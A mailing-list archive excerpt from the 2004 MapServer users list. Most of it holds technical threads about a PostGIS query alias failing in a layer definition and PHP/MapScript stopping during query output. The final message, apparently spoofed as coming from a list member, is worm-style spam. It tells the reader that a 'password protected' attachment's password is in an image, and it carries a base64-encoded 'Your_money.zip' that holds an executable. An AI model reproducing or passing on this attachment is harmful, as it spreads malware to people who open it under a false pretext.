Message-ID: <40BC70C7.4090606@main-task.com> Yes, the query runs fine in the pgsql monitor: gps=> select gid,'>' as sentido,tiempo,360-rumbo+90 as rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-31 05:00:00' and tiempo<='2004-06-02 04:59:59'; gid | sentido | tiempo | rumbo | velocidad | gps_geom | oid -------+---------+---------------------+-------+-----------+---------------------------------+--------- 46275 | > | 2004-05-31 15:16:09 | 450 | 0 | SRID=1;POINT(-74.06318 4.67302) | 7731018 46276 | > | 2004-05-31 15:16:15 | 450 | 0 | SRID=1;POINT(-74.06318 4.67302) | 7731019 46277 | > | 2004-05-31 15:16:21 | 450 | 0 | SRID=1;POINT(-74.06319 4.67301) | 7731020 ... ... The error is just: *Warning*: MapServer Error in msDrawMap(): Failed to draw layer named 'puntosgps'. in */usr/local/apache/htdocs/gps/index.phtml* on line *33* Vladimir Ilich Guzm?n R. ------------------------ http://maintask.com strk wrote: >On Mon, May 31, 2004 at 03:29:45PM -0500, Vladimir Guzm?n wrote: > > >>Hello. >>I'm implementing a gps tracking system. >>I want to show the car's orientation like this: >>http://maintask.com/test.png >>The layer's data is something like this: >>----------------------------- >>gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as >>rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 >>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid >>using srid=1 >>----------------------------- >>The field 'sentido' contains '>'. >> >>The problem is that if I use something like this: >>----------------------------- >>gps_geom from (select gid,'>' as sentido,tiempo,360-rumbo+90 as >>rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 >>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid >>using srid=1 >>----------------------------- >>The query doesn't work. >> >>So I had to create a column in potgres called 'sentido' and all the rows >>containing '>'. >> >>Is this a bug? >> >> > >What's the error message ? >Can you run the query from the pgsql monitor ? >--strk; > > > >>The rest of the layer: >> >>LAYER >> NAME "puntosgps" >> CONNECTIONTYPE postgis >> CONNECTION "user=gps password=gps dbname=gps host=localhost" >> DATA "gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as >>rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 >>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid >>using srid=1" >> TYPE POINT >>PROJECTION >> "proj=latlong" >> "datum=WGS84" >>END >> LABELANGLEITEM 'rumbo' >> LABELITEM 'sentido' >> CLASS >> NAME 'Parado' >> EXPRESSION ([velocidad] = 0) >> SIZE 14 >> SYMBOL 'circle' >> COLOR 0 0 215 >> OUTLINECOLOR 204 204 204 >> END >> CLASS >> NAME '0-10' >> EXPRESSION ([velocidad] > 0 AND[velocidad] <= 10) >> SIZE 14 >> SYMBOL 'circle' >> COLOR 255 255 204 >> OUTLINECOLOR 204 204 204 >> LABEL >> TYPE TRUETYPE >> FORCE TRUE >> FONT arial >> ANTIALIAS TRUE >> COLOR 0 0 0 >> OUTLINECOLOR 255 255 255 >> SIZE 8 >> END >> END >>... >>... >> >>Thanks a lot. >> >>-- >>Vladimir Ilich Guzm?n R. >>------------------------ >>http://maintask.com >> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > From 1wilkerson at charter.net Tue Jun 1 05:13:31 2004 From: 1wilkerson at charter.net (P Wilkerson) Date: Tue, 1 Jun 2004 08:13:31 -0400 Subject: [Mapserver-users] Mapserver crashing with PHP/Mapscript when... References: <153601c447a5$c560ae00$6400a8c0@Dale1> Message-ID: <000d01c447d1$dae4a110$6400a8c0@Dale1> Strangely, the script works fine on my MS4W install on a localhost computer but not at a hosted site. What compilation parameters should I look at to see if they are different? Peter ----- Original Message ----- From: "P Wilkerson" <1wilkerson at charter.net> To: Sent: Tuesday, June 01, 2004 2:57 AM Subject: [Mapserver-users] Mapserver crashing with PHP/Mapscript when... > I am modifying the GMapDumpQueryResults function in GMap75.inc of the GMap75 > demo (latest version) > > Mapserver stops when I add code to interact with the output from the SHP > files. > > I cannot add new variables. I cannot IF statements. I cannot do much at > all without causing the application to stop. > > By stopping I mean that the Mapserver program does not generate a map and > ceases outputting the rest of the HTML page. > > Layer Name - layer01 > There are only two fields ITEM_NBR and TITLE. > > I am placing my code within the following FOR Loop of the > GMapDumpQueryResults() function. > > for ($iField=0; $iField < count($selFields); $iField++) > { > < Some code in addition to mine > > < --------- start of my > code -------------------------> > // TO OUTPUT FOR THUMBNAIL > IF ($oLayer->getMetaData("DESCRIPTION") == > "layer01") { > IF ($selFields[$iField] == "ITEM_NBR") { > $oShapeVal04 = > $oShape->values[$selFields[$iField]]; > printf('%s', ' src="../data/images/imagefiles/'.$oShapeVal04.'.thumb.png" > alt="thumbnail image">'); > } > } > // TO OUTPUT HREF FOR RELATED PAGE > IF (($selFields[$iField] == "TITLE") ) { > $dlconnectionstr = "http://LocalhostTest:"; > $imgIDVal = > $oShape->values[$selFields[$iField]]; > $dlsource = substr($imgIDVal,0,3); > if ($dlsource == "PLW") { > $dlconnectionstr = > $dlconnectionstr."PLW:"; > } > ELSE > IF ($dlsource == "GAD") { > $dlconnectionstr = > $dlconnectionstr."GAD:"; > } > > $oShapeVal03 = > oShape->values[$selFields[$iField]]; > printf('%s', ' printf("%s", $oShapeVal03."');"); > printf('">'); > } > > // OUTPUTS FIELD VALUE EXCEPT FOR ITEM_NBR FIELD > IF (! ($selFields[$iField] == "ITEM_NBR") ) > printf("%s", > $oShape->values[$selFields[$iField]]); > > // CLOSES HREF IF TITLE FIELD > IF (($selFields[$iField] == "TITLE") ) { > printf(""); > } > < --------- end of my code -------------------------> > < Code in addition to mine > > } > > Again, the problem is that the program stops generating HTML / image files > when I start manipulating the variables. > > Any suggestions? > > Peter Wilkerson > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From strk at keybit.net Tue Jun 1 05:23:54 2004 From: strk at keybit.net (strk) Date: Tue, 1 Jun 2004 14:23:54 +0200 Subject: [Mapserver-users] bug postgis query alias In-Reply-To: <40BC71DB.70508@main-task.com> References: <40BB95B9.5060604@main-task.com> <20040601101220.GC16031@freek.keybit.net> <40BC6EFD.10000@maintask.com> <20040601120622.GD17831@freek.keybit.net> <40BC71DB.70508@main-task.com> Message-ID: <20040601122354.GA19676@freek.keybit.net> On Tue, Jun 01, 2004 at 07:08:59AM -0500, Vladimir Guzm?n wrote: > The line 33 is just the draw method: > > $mapa = $map->draw(); That tells me nothing... I'm afraid the bug is in php-mapscript or mapserver itself. --strk; > > -- > Vladimir Ilich Guzm?n R. > ------------------------ > http://maintask.com > > strk wrote: > > >On Tue, Jun 01, 2004 at 06:56:45AM -0500, Vladimir Guzm?n wrote: > > > > > >>Yes, the query runs fine in the pgsql monitor: > >>gps=> select gid,'>' as sentido,tiempo,360-rumbo+90 as > >>rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-31 > >>05:00:00' and tiempo<='2004-06-02 04:59:59'; > >>gid | sentido | tiempo | rumbo | velocidad | > >>gps_geom | oid > >>-------+---------+---------------------+-------+-----------+---------------------------------+--------- > >>46275 | > | 2004-05-31 15:16:09 | 450 | 0 | > >>SRID=1;POINT(-74.06318 4.67302) | 7731018 > >>46276 | > | 2004-05-31 15:16:15 | 450 | 0 | > >>SRID=1;POINT(-74.06318 4.67302) | 7731019 > >>46277 | > | 2004-05-31 15:16:21 | 450 | 0 | > >>SRID=1;POINT(-74.06319 4.67301) | 7731020 > >>... > >>... > >> > >>The error is just: > >> > >>*Warning*: MapServer Error in msDrawMap(): Failed to draw layer named > >>'puntosgps'. > >>in */usr/local/apache/htdocs/gps/index.phtml* on line *33* > >> > >> > > > >Ooh.. I see.. php involved! > >There are lot's of auto handling of special chars with php... > >Showing that line '33' would also be useful. > > > >--strk; > > > > > > > > > >>Vladimir Ilich Guzm?n R. > >>------------------------ > >>http://maintask.com > >> > >> > >> > >>strk wrote: > >> > >> > >> > >>>On Mon, May 31, 2004 at 03:29:45PM -0500, Vladimir Guzm?n wrote: > >>> > >>> > >>> > >>> > >>>>Hello. > >>>>I'm implementing a gps tracking system. > >>>>I want to show the car's orientation like this: > >>>>http://maintask.com/test.png > >>>>The layer's data is something like this: > >>>>----------------------------- > >>>>gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as > >>>>rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 > >>>>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid > >>>>using srid=1 > >>>>----------------------------- > >>>>The field 'sentido' contains '>'. > >>>> > >>>>The problem is that if I use something like this: > >>>>----------------------------- > >>>>gps_geom from (select gid,'>' as sentido,tiempo,360-rumbo+90 as > >>>>rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 > >>>>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid > >>>>using srid=1 > >>>>----------------------------- > >>>>The query doesn't work. > >>>> > >>>>So I had to create a column in potgres called 'sentido' and all the > >>>>rows containing '>'. > >>>> > >>>>Is this a bug? > >>>> > >>>> > >>>> > >>>> > >>>What's the error message ? > >>>Can you run the query from the pgsql monitor ? > >>>--strk; > >>> > >>> > >>> > >>> > >>> > >>>>The rest of the layer: > >>>> > >>>>LAYER > >>>>NAME "puntosgps" > >>>>CONNECTIONTYPE postgis > >>>>CONNECTION "user=gps password=gps dbname=gps host=localhost" > >>>>DATA "gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as > >>>>rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 > >>>>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid > >>>>using srid=1" > >>>>TYPE POINT > >>>>PROJECTION > >>>>"proj=latlong" > >>>>"datum=WGS84" > >>>>END > >>>>LABELANGLEITEM 'rumbo' > >>>>LABELITEM 'sentido' > >>>>CLASS > >>>>NAME 'Parado' > >>>>EXPRESSION ([velocidad] = 0) > >>>>SIZE 14 > >>>>SYMBOL 'circle' > >>>>COLOR 0 0 215 > >>>>OUTLINECOLOR 204 204 204 > >>>>END > >>>>CLASS > >>>>NAME '0-10' > >>>>EXPRESSION ([velocidad] > 0 AND[velocidad] <= 10) > >>>>SIZE 14 > >>>>SYMBOL 'circle' > >>>>COLOR 255 255 204 > >>>>OUTLINECOLOR 204 204 204 > >>>>LABEL > >>>> TYPE TRUETYPE > >>>> FORCE TRUE > >>>> FONT arial > >>>> ANTIALIAS TRUE > >>>> COLOR 0 0 0 > >>>> OUTLINECOLOR 255 255 255 > >>>> SIZE 8 > >>>>END > >>>>END > >>>>... > >>>>... > >>>> > >>>>Thanks a lot. > >>>> > >>>>-- > >>>>Vladimir Ilich Guzm?n R. > >>>>------------------------ > >>>>http://maintask.com > >>>> > >>>> > >>>>_______________________________________________ > >>>>Mapserver-users mailing list > >>>>Mapserver-users at lists.gis.umn.edu > >>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > >>>> > >>>> > >>>> > >>>> > >>>_______________________________________________ > >>>Mapserver-users mailing list > >>>Mapserver-users at lists.gis.umn.edu > >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > >>> > >>> > >>> > >>> > >>> > >>> > > > > > > > > From steve.lime at dnr.state.mn.us Tue Jun 1 06:33:25 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Tue, 01 Jun 2004 07:33:25 -0600 Subject: [Mapserver-users] Re: Thank you! Message-ID: ----------txmlfhpmjshzijgmgccb Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
For security reasons attached file is password protected. The password is

----------txmlfhpmjshzijgmgccb Content-Type: image/gif; name="xulurzrupa.gif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="xulurzrupa.gif" Content-ID: R0lGODlhOQAPAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A /wD//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAz mQAzzAAz/wBmAABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDM mQDMzADM/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMz mTMzzDMz/zNmADNmMzNmZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPM mTPMzDPM/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYz mWYzzGYz/2ZmAGZmM2ZmZmZmmWZmzGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbM mWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkz mZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZAJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnM mZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwAM8wAZswAmcwAzMwA/8wzAMwzM8wzZswz mcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZZsyZmcyZzMyZ/8zMAMzMM8zMZszM mczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8Amf8AzP8A//8zAP8zM/8zZv8z mf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+ZzP+Z///MAP/MM//MZv/M mf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAA5AA8AAAjxAP8JHEiwoMGD CBMqXMiwocOHECNKdJgKhZ98/1Bo3FgwVSGC1FCkAoni40SCqlD4E1nQz8h/25plQUFtYL47 KKbZ7JPzJMFUdzKi+IkCo1A8NAeO0lhTYCGmPguG7DNw5ct/2v79QbFNoKosfrgKdHYnrNGo Aq0OdCaWoEaB2mi+/YdP7lC0A0VR8TcwbMFtJQWCBTxKIBVCK1HhFfhqSle4LAnWHfkKBb5q KJr9q6gtX2S0W89uRpGVIFudODeiEIVUdeGoFZsOfCr6H6qiBJfiy9026kzVAucSpKKS4MyC Wu4uXs5cqOrn0KNL56gwIAA7vXf/f/9/1lopJa01AACcc/9//3/WWiklrTUAAJxz/3//f/9/ /3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9//3//f/9//3//f/9//38xRikl/38AAAAA /3//f/9//3+UUgAA3nv/f/9/AAAAACklAAB7b/9//3//f+89AAAAAFpr/3//f/9/7z0AAAAA Wmv/f/9//3//f/9//3//f/9//3//f/9/AAD/f/9//3//f/9//3//f/9//3//f/9//3//f5RS AACccwAAc07/f/9//3//f/9/rTVzTv9//3+9d9ZaKSUAAPde/3//f/9/vXcpJQAA917/f/9/ /3+9dyklAAD3Xv9//3//f/9//3//f/9//3//f/9//38AAP9//3//f/9//3//f/9//3//f/9/ /3//f/9//38xRgAArTW9d/9/AAAAAAAAAAAAAAAA/3//f/9//3//f3NOMUb/f/9//3//f1pr AAAxRv9//3//f/9/WmsAADFG/3//f/9//3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/AAD/f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /38AAP9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//fwAA ----------txmlfhpmjshzijgmgccb Content-Type: application/octet-stream; name="Your_money.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Your_money.zip" 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 